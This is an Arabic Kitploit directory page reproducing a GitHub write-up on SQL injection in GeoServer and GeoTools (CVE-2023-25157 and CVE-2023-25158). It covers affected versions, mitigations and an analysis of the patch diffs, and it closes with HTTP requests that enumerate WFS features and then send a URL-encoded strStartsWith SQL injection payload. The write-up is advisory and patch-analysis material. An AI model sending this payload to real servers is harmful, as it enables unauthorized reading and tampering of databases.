Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2023-25157-and-CVE-2023-25158 — GeoServer و GeoTools حقن SQL (CVE-2023-25157 و CVE-2023-25158) | Kitploit
أدوات/GitHubGitHub/murataydemir/cve-2023-25157-and-cve-2023-25158
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمأمن قواعد البيانات
GitHubmurataydemir/cve-2023-25157-and-cve-2023-25158

CVE-2023-25157-and-CVE-2023-25158

GeoServer و GeoTools حقن SQL (CVE-2023-25157 و CVE-2023-25158)

عرض المستودع
14443منذ 3 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

GeoServer & GeoTools حقن SQL (CVE-2023-25157 & CVE-2023-25158)


يحتوي هذا المستودع على وصف تفصيلي وخطوات تكرار لثغرات حقن SQL الموجودة في منصة GeoServer ومكتبة GeoTools. تم تعيين المعرف CVE-2023-25157 لـ GeoServer و CVE-2023-25158 لـ GeoTools.

GeoServer هو خادم برمجي مفتوح المصدر مكتوب بلغة Java يوفر القدرة على عرض وتحرير ومشاركة البيانات الجغرافية المكانية. وهو مصمم ليكون حلاً مرنًا وفعالًا لتوزيع البيانات الجغرافية المكانية من مجموعة متنوعة من المصادر مثل قواعد بيانات نظام المعلومات الجغرافية (GIS)، والبيانات المستندة إلى الويب، ومجموعات البيانات الشخصية.

يلتزم GeoServer بمعايير Open Geospatial Consortium (OGC) لمشاركة البيانات، بما في ذلك Web Feature Service (WFS) و Web Map Service (WMS) و Web Coverage Service (WCS). يعني هذا الالتزام بالمعايير أن البيانات من GeoServer يمكن استخدامها في مجموعة واسعة من التطبيقات، من برامج GIS المبنية خصيصًا إلى الحلول الجاهزة.

تم بناء GeoServer بشكل أساسي على إطار Spring Framework، ومع ذلك، يستخدم أيضًا عددًا من المكتبات والأطر الأخرى، بما في ذلك:

  • GeoTools: مكتبة Java مفتوحة المصدر توفر أدوات للبيانات الجغرافية المكانية. يستخدم GeoServer مكتبة GeoTools للعديد من وظائفه الأساسية، مثل قراءة البيانات وكتابتها وتحويلها.
  • Hibernate Validator: يُستخدم للتحقق من صحة الكائنات (bean validations).
  • Java Topology Suite (JTS): مكتبة برمجية Java مفتوحة المصدر توفر نموذج كائن للهندسة المستوية مع مجموعة من الوظائف الهندسية الأساسية. يستخدمه GeoServer للعمليات الهندسية مثل حساب المربعات المحيطة.
  • Apache Wicket: يُستخدم لواجهة الإدارة على الويب. وهو إطار عمل لتطبيقات الويب قائم على المكونات مشابه لـ JavaServer Faces و Tapestry.
  • Log4J: يُستخدم للتسجيل.
  • الثغرات


    الثغرات المعنية مغروسة بعمق داخل تعبيرات الفلتر والوظائف المحددة بواسطة معايير Open Geospatial Consortium (OGC). تشكل هذه التعبيرات العمود الفقري للاستعلام عن البيانات الجغرافية المكانية ومعالجتها، وتلعب دورًا محوريًا في وظائف أنظمة مثل GeoServer و GeoTools.

    عند استغلال هذه الثغرات، يمكن أن تؤدي إلى خروقات أمنية خطيرة. يعد الكشف غير المصرح به عن المعلومات مصدر قلق رئيسي، حيث يمكن للمهاجمين الوصول إلى البيانات الحساسة المخزنة في قاعدة البيانات. التعديل غير المصرح به هو نتيجة محتملة أخرى، حيث يمكن للمهاجمين معالجة البيانات لصالحهم. علاوة على ذلك، يمكن لهذه الثغرات أيضًا تسهيل تعطيل الخدمة، وقد يؤدي الاستغلال الناجح إلى عدم توفر الخدمة.

    يقدم ما يلي تحليلاً متعمقًا لكل ثغرة تم تحديدها. يتم استكشاف كل ثغرة بالتفصيل، ومناقشة خصائصها المحددة، والظروف التي تؤدي إلى ظهورها، والتأثيرات المحتملة لاستغلالها. فيما يلي تفصيل مفصل للثغرات الموجودة في GeoServer:

    • PropertyIsLike filter: هذه الثغرة موجودة عند استخدام فلتر PropertyIsLike مع حقل نصي (String field) بالاقتران مع أي مخزن قائم على قاعدة بيانات علائقية، أو مخزن بيانات PostGIS مع تمكين وظائف الترميز، أو أي فسيفساء صور مع فهرس مخزن في قاعدة بيانات علائقية.
    • strEndsWith function: تنشأ هذه الثغرة عند استخدام دالة strEndsWith مع مخزن بيانات PostGIS مع تمكين وظائف الترميز.
    • strStartsWith function: توجد هذه الثغرة عند استخدام دالة strStartsWith مع مخزن بيانات PostGIS مع تمكين وظائف الترميز.
    • FeatureId filter: هذه الثغرة موجودة عند استخدام فلتر FeatureId مع أي جدول قاعدة بيانات يحتوي على عمود مفتاح أساسي نصي (String primary key) وعند تعطيل البيانات المعدة (prepared statements).
    • jsonArrayContains function: توجد هذه الثغرة عند استخدام دالة jsonArrayContains مع حقل نصي (String) أو JSON ومع مخزن بيانات PostGIS أو Oracle (فقط في إصدارات GeoServer 2.22.0 والإصدارات الأحدث).
    • DWithin filter: يتم اكتشاف هذه الثغرة عند استخدام فلتر DWithin مع مخزن بيانات Oracle.

    وفيما يلي تفصيل مفصل للثغرات الموجودة في GeoTools:

    • PropertyIsLike filter:
      • يتطلب مخزن بيانات PostGIS مع تمكين وظائف الترميز
      • أو أي JDBCDataStore (جميع قواعد البيانات العلائقية) مع حقل نصي (بدون تخفيف)
    • strEndsWith function:
      • يتطلب مخزن بيانات PostGIS مع تمكين وظائف الترميز
    • strStartsWith function:
      • يتطلب مخزن بيانات PostGIS مع تمكين وظائف الترميز
    • FeatureId filter:
      • يتطلب JDBCDataStore (جميع قواعد البيانات العلائقية) مع تعطيل البيانات المعدة وجدول بمفتاح أساسي نصي (Oracle غير متأثرة، SQL Server و MySQL ليس لديهما إعدادات لتمكين البيانات المعدة، بينما PostGIS لديها)
    • jsonArrayContains function:
      • يتطلب مخازن بيانات PostGIS و Oracle مع حقل نصي أو JSON
    • DWithin filter:
      • يحدث فقط في مخزن بيانات Oracle، بدون تخفيف

    الإصدارات المتأثرة


    • GeoServer: الإصدارات الأقل من 2.21.4 والأكبر من أو تساوي 2.22.0 والأقل من 2.22.2 متأثرة بثغرة CVE-2023-25157 GeoServer SQL Injection.
    • GeoTools: الإصدارات الأقل من 28.2، والأقل من 27.4، والأقل من 26.7، والأقل من 25.7، والأقل من 24.7 متأثرة بثغرة CVE-2023-25158 GeoTools SQL Injection.

    الحالة


    • الإصدارات المحدثة من GeoServer 2.21.4 و 2.22.2 و 2.20.7 و 2.19.7 و 2.18.7، والتي تشمل التصحيحات، أصبحت متاحة للجمهور الآن.
    • الإصدارات 28.2 و 27.4 و 26.7 و 25.7 و 24.7 من GeoTools، والتي تتضمن التصحيحات اللازمة، أصبحت متاحة للاستخدام الآن.

    إجراءات التخفيف والحلول البديلة المقترحة


    الإجراء الموصى به لكل من ثغرة GeoServer SQL Injection (CVE-2023-25157) وثغرة GeoTools SQL Injection (CVE-2023-25158) هو الترقية إلى الإصدارات المشار إليها أو الأحدث. إذا تم إتمام هذه الترقية، فلا حاجة لخطوات إضافية. ومع ذلك، بالنسبة لأولئك الذين قد يجدون صعوبة في الترقية فورًا، قدم فريق Geo بعض الحلول البديلة أدناه.

    • تعطيل إعداد وظائف الترميز لمخزن بيانات PostGIS لتخفيف ثغرات strEndsWith و strStartsWith (مثل الفلاتر ليس لها تخفيف، إذا كان هناك حقل نصي في نوع المعلم المنشور).

    • تمكين إعداد البيانات المعدة (preparedStatements) لمخزن بيانات PostGIS لتخفيف ثغرة FeatureId.```java Map<String, Object> params = new HashMap < >(); params.put("dbtype", "postgis"); params.put("host", "localhost"); params.put("port", 5432); params.put("schema", "public"); params.put("database", "database"); params.put("user", "postgres"); params.put("passwd", "postgres"); params.put("preparedStatements", true); // mitigation params.put("encode functions", false); // mitigation

      DataStore dataStore = DataStoreFinder.getDataStore(params);

    root@kitploit:~
    - كممارسة جيدة لتقليل سطح الهجوم، من المهم إعطاء حساب قاعدة البيانات المستخدم لمجموعات الاتصال الحد الأدنى المطلوب من الامتيازات (مثل القراءة فقط ما لم يتم استخدام WFS-T/importer/REST granule harvesting، وتقييد الوصول فقط إلى المخططات والجداول اللازمة للاستخدام الإنتاجي)
    - لا يوجد إجراء تخفيف متاح لمرشح `PropertyIsLike`، يمكنك اختيار تعطيل DataStores الخاصة بقاعدة البيانات حتى تتمكن من الترقية.
    - لا يوجد إجراء تخفيف متاح لـ `DWithin` مع Oracle DataStore، يمكنك اختيار تعطيل DataStores الخاصة بـ Oracle حتى تتمكن من الترقية.
    ### <b>تحليل التصحيح: مشكلة GitHub والالتزامات ذات الصلة</b>
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    الروابط أدناه توفر العديد من مشكلات JIRA ذات الصلة بثغرات حقن SQL الموجودة في كل من GeoServer و GeoTools. توفر هذه الروابط إمكانية الوصول إلى بيانات ومناقشات وحلول مقترحة مهمة تتعلق بهذه الثغرات المحددة.
    - [GEOS-10842: JDBCConfig: escape user inputs in SQL queries](https://osgeo-org.atlassian.net/browse/GEOS-10842)
    - [GEOS-10839: JDBCConfig: add JDBC Configuration parameter to disable SQL comments and pretty-printing](https://osgeo-org.atlassian.net/browse/GEOS-10839)
    - [GEOT-7302: Escape user inputs in SQL queries](https://osgeo-org.atlassian.net/browse/GEOT-7302)
    
    عند النظر إلى الالتزام [`geoserver/geoserver@145a8af`](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b)، يمكن رؤية التغييرات التالية بوضوح، على التوالي:
    
    - في [`ConfigDatabase.java`](https://github.com/geoserver/geoserver/blob/b05287608048d0f6e36c264f43fe15aa5dfb5130/src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/ConfigDatabase.java)، هناك إضافات لحقل خاصية وتغييرات في المنشئات لتضمين حقل الخاصية هذا. يسمح هذا بمزيد من التخصيص لتكوين قاعدة البيانات، مما قد يسمح بإجراءات أمان معززة. [`NamedParameterJdbcTemplate`](https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/jdbc/core/namedparam/NamedParameterJdbcTemplate.html) هو فئة يقدمها إطار Spring والتي تضيف دعمًا لبرمجة عبارات JDBC باستخدام معلمات مسماة، بدلاً من برمجة عبارات JDBC باستخدام وسائط العناصر النائبة الكلاسيكية ('؟'). في الالتزام، يتم تحديث منشئ `ConfigDatabase` لأخذ `DataSource` وإنشاء `NamedParameterJdbcTemplate` منه. تعمل المعلمات المسماة على تحسين قابلية القراءة ويمكنها أيضًا منع هجمات حقن SQL لأنها توضح أن الوسيطة معلمة، وليست جزءًا من أمر SQL.
      > [src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/ConfigDatabase.java](https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e?diff=split#diff-1b49bc6af3f36da2ebf7a0d8d3af3fa3697ccee91bf67a690f99837ee2730bed)```java
        /* (c) 2014 Open Source Geospatial Foundation - all rights reserved
         * (c) 2001 - 2013 OpenPlans
         * This code is licensed under the GPL 2.0 license, available at the root
         * application directory.
         */
        package org.geoserver.jdbcconfig.internal;
        // import some packages...
        import org.geoserver.jdbcloader.JDBCLoaderProperties;
    
        public class ConfigDatabase implements ApplicationContextAware {
            public static final Logger LOGGER = Logging.getLogger(ConfigDatabase.class);
            private static final int LOCK_TIMEOUT_SECONDS = 60;
    
            private Dialect dialect;
    
            private JDBCLoaderProperties properties;
            // rest of the codebase
    
            protected ConfigDatabase() {
                //
            }
    
            public ConfigDatabase(
                    JDBCLoaderProperties properties,
                    DataSource dataSource,
                    XStreamInfoSerialBinding binding) {
                this(properties, dataSource, binding, null);
            }
    
            public ConfigDatabase(
                    JDBCLoaderProperties properties,
                    final DataSource dataSource,
                    final XStreamInfoSerialBinding binding,
                    CacheProvider cacheProvider) {
                this.properties = properties;
                this.binding = binding;
                this.template = new NamedParameterJdbcTemplate(dataSource);
                // cannot use dataSource at this point due to spring context config hack
    

    يبدو أن ثغرة حقن SQL الفعلية قد تم إصلاحها من خلال بناء وتنفيذ SQL أكثر أمانًا، وتحديدًا باستخدام استعلامات ذات معاملات (parameterized queries) بدلاً من تسلسل السلاسل النصية (string concatenation)، كما هو واضح في التغييرات التي تم إجراؤها على استدعاءات template.queryForObject. بدلاً من استخدام sql.toString()، يتم استخدام المتغير sql نفسه، والذي يبدو أنه عبارة عن عبارة SQL مبنية بشكل آمن.

    src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/ConfigDatabase.java```java // count = template.queryForObject(sql.toString(), namedParameters, Integer.class); count = template.queryForObject(sql, namedParameters, Integer.class);

    root@kitploit:~
    - يتم استبدال كائن `sql` من نوع `StringBuilder` في [`QueryBuilder.java`](https://github.com/geoserver/geoserver/blob/b05287608048d0f6e36c264f43fe15aa5dfb5130/src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/QueryBuilder.java) بكائن من نوع `String`. يمكن أن يكون هذا التغيير مهمًا في منع هجمات حقن SQL (SQL Injection) حيث أن كائنات `StringBuilder` القابلة للتغيير قد تؤدي إلى تعديلات غير مقصودة أو خبيثة لاستعلام SQL. واستبدالها بكائن `String` غير قابل للتغيير يمكن أن يساعد في منع هذه التعديلات وبالتالي منع حقن SQL.
      > [src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/QueryBuilder.java](https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e?diff=split#diff-a393e831a86b6020d56c521d7b9135179daa804e2cb435b19d85d76eb5d0544bL131-R131)```java
        // private void querySortBy(StringBuilder query, StringBuilder whereClause, SortBy[] orders) {
        private void querySortBy(StringBuilder query, String whereClause, SortBy[] orders) {
             /*
             * Start with the oid and id from the object table selecting for type and the filter.
             *
             * Then left join on oid for each property to sort by to turn it into an attribute.
             *
             * The sort each of the created attribute.
             */
    
    • هروب تعليقات SQL: تمت إضافة طريقة جديدة escapeComment إلى الفئة Dialect.java. تأخذ هذه الطريقة سلسلة تعليق وتقوم بهروب الأحرف التي قد تكون خطيرة فيها. على وجه التحديد، يبدو أنها تهرب حرفي بداية ونهاية تعليق SQL ('/*' و '*/')، واللذان يُستخدمان في بعض هجمات حقن SQL.

      src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/Dialect.java```java /** Escapes the contents of the SQL comment to prevent SQL injection. / public String escapeComment(String comment) { String escaped = ESCAPE_CLOSING_COMMENT_PATTERN.matcher(comment).replaceAll("\\/"); return ESCAPE_OPENING_COMMENT_PATTERN.matcher(escaped).replaceAll("/\\*"); }

    root@kitploit:~
    - إضافة تعليقات إلى SQL: تمت إضافة طريقة جديدة `appendComment` إلى الفئة [`Dialect.java`](https://github.com/geoserver/geoserver/blob/b05287608048d0f6e36c264f43fe15aa5dfb5130/src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/Dialect.java) لإلحاق الكائنات بـ SQL كتعليق. إذا لم يكن وضع التصحيح (debug) مفعّلاً، فتقوم هذه الطرق ببساطة بإرجاع SQL الأصلي. إذا كان وضع التصحيح مفعّلاً، فإنها تُلحق تمثيل السلسلة النصية للكائنات المقدّمة بـ SQL في شكل تعليق. يتم تخطي التعليقات بأمان باستخدام طريقة `escapeComment`.
      > [src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/Dialect.java](https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e?diff=split#diff-b224c54b2d06ede45d4a45d34d64452aaeae70fbe60210e800d85df98a60e432R55-R65)```java
        /** Appends the objects to the SQL in a comment if debug mode is enabled. */
        public StringBuilder appendComment(StringBuilder sql, Object...objects) {
            if (!debugMode) {
                return sql;
            }
            sql.append(" /* ");
            for (Object object: objects) {
                sql.append(escapeComment(String.valueOf(object)));
            }
            return sql.append(" */\n");
        }
        /** Appends the objects to the SQL in an comment if debug mode is enabled. */
        public StringBuilder appendComment(Object sql, Object...objects) {
            return appendComment((StringBuilder) sql, objects);
        }
        /** Appends one of the strings to the SQL depending on whether debug mode is enabled. */
        public StringBuilder appendIfDebug(StringBuilder sql, String ifEnabled, String ifDisabled) {
            return sql.append(debugMode ? ifEnabled : ifDisabled);
        }
    
    • إلحاق السلاسل النصية بـ SQL بشكل شرطي: تمت إضافة طريقة appendIfDebug إلى الفئة Dialect. تقوم هذه الطريقة بإلحاق واحدة من سلسلتين نصيتين مقدمتين بـ SQL اعتمادًا على ما إذا كان وضع التصحيح (debug) مفعّلاً. في الفئة Dialect.java، تمت إضافة حقل debugMode وطريقة setDebugMode() لتغيير حالته. ثم يُستخدم وضع التصحيح هذا في طريقة detect().

      src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/Dialect.java```java public class Dialect { // rest of the code... public static Dialect detect(DataSource dataSource, boolean debugMode) { Dialect dialect; try { Connection conn = dataSource.getConnection(); } catch (SQLException ex) { throw new RuntimeException(ex); } dialect.setDebugMode(debugMode); return dialect; }

      root@kitploit:~
        public boolean isDebugMode() {
            return debugMode;
        }
      
        public void setDebugMode(boolean debugMode) {
            this.debugMode = debugMode;
        }
      }
      
    root@kitploit:~
    عند النظر إلى الالتزام [`geotools/geotools@64fb4c4`](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b)، يمكن رؤية التغييرات التالية بوضوح، على التوالي:
    
    - إضافة الحقل `escapeBackslash` في صنف [`modules/library/jdbc/src/main/java/org/geotools/data/jdbc/FilterToSQL.java`](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b?diff=split#diff-bd6d9db0d247e2fa5b149e6e281e39d27da9eecb7b755cb5f9be01aa975aca2e) هو إجراء احترازي لمنع أشكال معينة من حقن SQL حيث يُستخدم حرف الشرطة المائلة للخلف (backslash) لتجنب الأحرف الخاصة في بناء جملة SQL. من خلال توفير خيار تجنب الشرطة المائلة للخلف في سلاسل النصوص الحرفية، يسمح المطورون للتطبيق بمعاملة أحرف الشرطة المائلة للخلف كنص عادي بدلاً من أحرف تجنب، مما يحد بدوره من احتمالات حقن SQL.
    تعمل هذه التغييرات معًا لمنع حقن SQL من خلال ضمان أن الأحرف الخاصة في سلاسل النصوص الحرفية (مثل علامات الاقتباس المفردة والمزدوجة والشرطة المائلة للخلف) يتم تجنبها بشكل صحيح قبل تضمينها في استعلام SQL. هذه طريقة شائعة لتخفيف ثغرات حقن SQL. عند تعيين `escapeBackslash` إلى `true`، سيتم تجنب الشرطة المائلة للخلف في سلاسل النصوص الحرفية عند استدعاء طريقة [`escapeLiteral()`](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b?diff=split#diff-9c2f3a1daafd589eb6305170ffa40db051aeda5ae26c22b3438ba5923b451ab7R36-R49) من صنف [`EscapeSql`](https://github.com/geotools/geotools/blob/2da7f4f8cc746dc3d4a31a6323a76797a99e7997/modules/library/jdbc/src/main/java/org/geotools/jdbc/EscapeSql.java#L28). تُستخدم هذه الطريقة في مواضع مختلفة في صنف [`FilterToSQL.java`](https://github.com/geotools/geotools/blob/main/modules/library/jdbc/src/main/java/org/geotools/data/jdbc/FilterToSQL.java) لتجنب سلاسل النصوص الحرفية قبل تضمينها في استعلام SQL. على سبيل المثال، [السطر 1762](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b?diff=split#diff-bd6d9db0d247e2fa5b149e6e281e39d27da9eecb7b755cb5f9be01aa975aca2eR1761-R1762)```java
      // single quotes must be escaped to have a valid sql string
      String escaped = escapeLiteral(encoding);
    

    هي إحدى الأماكن التي يتم فيها استدعاء هذه الطريقة، وحيث يكون إعداد escapeBackslash ساري المفعول. في الكود الأصلي، كان التطبيق يستبدل علامات الاقتباس المفردة يدويًا بعلامتي اقتباس مفردتين، وهي طريقة شائعة لتخطي علامات الاقتباس المفردة في SQL. هذا مهم لأن علامات الاقتباس المفردة غير المخططة يمكن أن تسمح للمهاجم بإنهاء سلسلة نصية مبكرًا وإلحاق أوامر SQL خاصة به، مما يؤدي إلى ثغرة حقن SQL.

    في الكود المعدل، بدلاً من استبدال علامات الاقتباس المفردة يدويًا، يقوم التطبيق الآن باستدعاء طريقة escapeLiteral() من الفئة EscapeSql.java. هذه الطريقة مصممة لتخطي ليس فقط علامات الاقتباس المفردة، ولكن أيضًا الخطوط المائلة العكسية، وربما علامات الاقتباس المزدوجة بناءً على معاملاتها:```java public static String escapeLiteral( String literal, boolean escapeBackslash, boolean escapeDoubleQuote) { // ' --> '' String escaped = SINGLE_QUOTE_PATTERN.matcher(literal).replaceAll("''"); if (escapeBackslash) { // \ --> \ escaped = BACKSLASH_PATTERN.matcher(escaped).replaceAll("\\\\"); } if (escapeDoubleQuote) { // " --> " escaped = DOUBLE_QUOTE_PATTERN.matcher(escaped).replaceAll("\\""); } return escaped;

    root@kitploit:~
    من خلال القيام بذلك، يكون التطبيق قادرًا على ضمان هروب جميع الأحرف الخاصة في سلسلة SQL بشكل صحيح، وهو نهج أكثر قوة وأمانًا لمنع حقن SQL.
    - التغييرات في طريقة `convertToSQL92`: تقوم طريقة `LikeFilterImpl.convertToSQL92` بتحويل نمط من بناء جملة SQL القياسي 'LIKE' إلى بناء جملة SQL-92. في هذا الالتزام، أضافوا معاملًا جديدًا إلى هذه الطريقة. التغيير من الطريقة في فئة [`FilterToSQL.java`](https://github.com/geotools/geotools/blob/main/modules/library/jdbc/src/main/java/org/geotools/data/jdbc/FilterToSQL.java) في [السطر 547](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b?diff=split#diff-bd6d9db0d247e2fa5b149e6e281e39d27da9eecb7b755cb5f9be01aa975aca2eR546-R547):```java
      // String pattern = LikeFilterImpl.convertToSQL92(esc, multi, single, matchCase, literal);
      String pattern = LikeFilterImpl.convertToSQL92(esc, multi, single, matchCase, literal, false);
    

    يبدو أنه يضيف علامة (flag) تؤثر على عملية تحويل النمط. سابقًا، لم يتضمن استدعاء الدالة المعلمة false في النهاية. يُفترض أن هذه القيمة false مرتبطة بما إذا كانت بعض الأحرف في سلسلة literal ستهرب أثناء عملية التحويل أم لا. يمكن أن يساعد الهروب (escaping) في منع حقن SQL من خلال ضمان ألا يتم تفسير الأحرف الخاصة في سلسلة literal كجزء من بناء جملة SQL، بل كقيم نصية بسيطة.

    • استبدال out.write() بـ writeLiteral(): استبدال out.write() بـ writeLiteral() هو تغيير رئيسي آخر. الدالة out.write() تكتب ببساطة السلسلة النصية المعطاة إلى تيار الإخراج كما هي، دون أي معالجة إضافية أو هروب. قد يؤدي هذا إلى حقن SQL إذا كانت السلسلة تحتوي على أي بناء جملة SQL غير مهرب.```java writeLiteral(pattern);
    root@kitploit:~
    من ناحية أخرى، من المفترض أن تطبق `writeLiteral()` شكلاً من أشكال الهروب أو التعقيم على السلسلة النصية قبل كتابتها إلى تيار الإخراج، مما يقلل من خطر حقن SQL. كما أن هذا التغيير يستبدل عملية كتابة مباشرة باستدعاء `writeLiteral()`، والتي من المحتمل أن تتضمن احتياطات لمنع حقن SQL.```java
      // out.write(attValues.get(j).toString());
      writeLiteral(attValues.get(j));
    

    طلب الاستغلال والاستجابة


    لاستغلال هذه الثغرات بشكل صحيح، أولاً، يجب الحصول على:

    1. أسماء الميزات المتاحة
    2. الخصائص المتاحة لكل ميزة من الميزات المتاحة

    على التوالي. لذلك، يتم إرسال الطلب التالي إلى الخادم الهدف للحصول على أسماء الميزات المتاحة.``` GET /geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities HTTP/1.1 Host: vulnerablehost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept-Encoding: gzip, deflate Accept: / Connection: close

    root@kitploit:~
    ![1-get-available-feature-names - Copy](https://assets.kitploit.com/production/public/readmes/29664/1a9741582c0f6afca6ac3d694801f70d78a0d47ea3351ad086a6f653796ad362.png)
    
    بعد الحصول على أسماء الميزات المتاحة، نحتاج إلى إرسال طلب HTTP التالي لجلب الخصائص المتاحة للميزات المتاحة ذات الصلة.```
    GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=<nameOftheAvailabeFeatureHere>&maxFeatures=1&outputFormat=json HTTP/1.1
    Host: vulnerablehost
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept-Encoding: gzip, deflate
    Accept: */*
    Connection: close
    

    2-get-available-properties-from-available-features - Copy - Copy

    بعد طلبي HTTP الموضحين أعلاه، نقوم بتعداد جميع أسماء الميزات المتاحة وأسماء الخصائص المرتبطة بهذه الميزات. بعد هذه المرحلة، يمكننا تنفيذ عملية الاستغلال عن طريق إرسال طلب HTTP خبيث محقون بحمولة SQL إلى الخادم لأي خاصية تم جلبها.``` GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName==strStartsWith%28%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+INTEGER%29%29+--+%27%29+%3D+true HTTP/1.1 Host: vulnerablehost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept-Encoding: gzip, deflate Accept: / Connection: close

    root@kitploit:~
    ![3-injection-of-sql-query - Copy](https://assets.kitploit.com/production/public/readmes/29664/b9349929ed21ec2bb21d8819c4417804b455c5b3b5186433816da88a9864abe6.png)
    
    ### <b>الاستنتاج</b>
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    في الختام، يُعد اكتشاف ثغرات حقن SQL هذه في GeoServer وGeoTools، كما هو موضح في CVE-2023-25157 وCVE-2023-25158، تذكيرًا صارخًا بالتهديدات المستمرة في المشهد الرقمي. هذه الثغرات، الموجودة داخل تعبيرات مرشح OGC الأساسية وتعبيرات الدوال، لديها القدرة على التسبب في اضطرابات كبيرة ووصول غير مصرح به إلى البيانات أو تعديلها.
    
    لمزيد من المعلومات حول معالجة هذه الثغرات، يُرجى زيارة الموارد التالية:
    
    - الالتزام المستخدم لإصلاح الثغرة: [geoserver/geoserver@145a8af](https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e1d)
    - الالتزام المستخدم لإصلاح الثغرة: [geotools/geotools@64fb4c4](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b)
    - [ثغرة حقن SQL في مرشح OGC في GeoServer](https://geoserver.org/vulnerability/2023/02/20/ogc-filter-injection.html) و [ثغرة حقن SQL في مرشح OGC في GeoTools](http://geotoolsnews.blogspot.com/2023/02/geotools-274-released.html)
    - [قاعدة بيانات استشارات GitHub (مراجعة GitHub): حقن SQL في GeoServer](https://github.com/advisories/GHSA-7g5f-wrx8-5ccf)، [قاعدة بيانات استشارات GeoServer: حقن SQL في GeoServer](https://github.com/geoserver/geoserver/security/advisories/GHSA-7g5f-wrx8-5ccf) و [قاعدة بيانات استشارات GeoTools: حقن SQL في GeoTools](https://github.com/geotools/geotools/security/advisories/GHSA-99c3-qc2q-p94m)
    - [استشارة NIST لـ GeoServer: CVE-2023-25157](https://nvd.nist.gov/vuln/detail/CVE-2023-25157) و [استشارة NIST لـ GeoTools: CVE-2023-25158](https://nvd.nist.gov/vuln/detail/CVE-2023-25158)
    - [استشارة MITRE لـ GeoServer: CVE-2023-25157](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-25157) و [استشارة MITRE لـ GeoTools: CVE-2023-25158](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-25158)
    
    تنزيل الأداة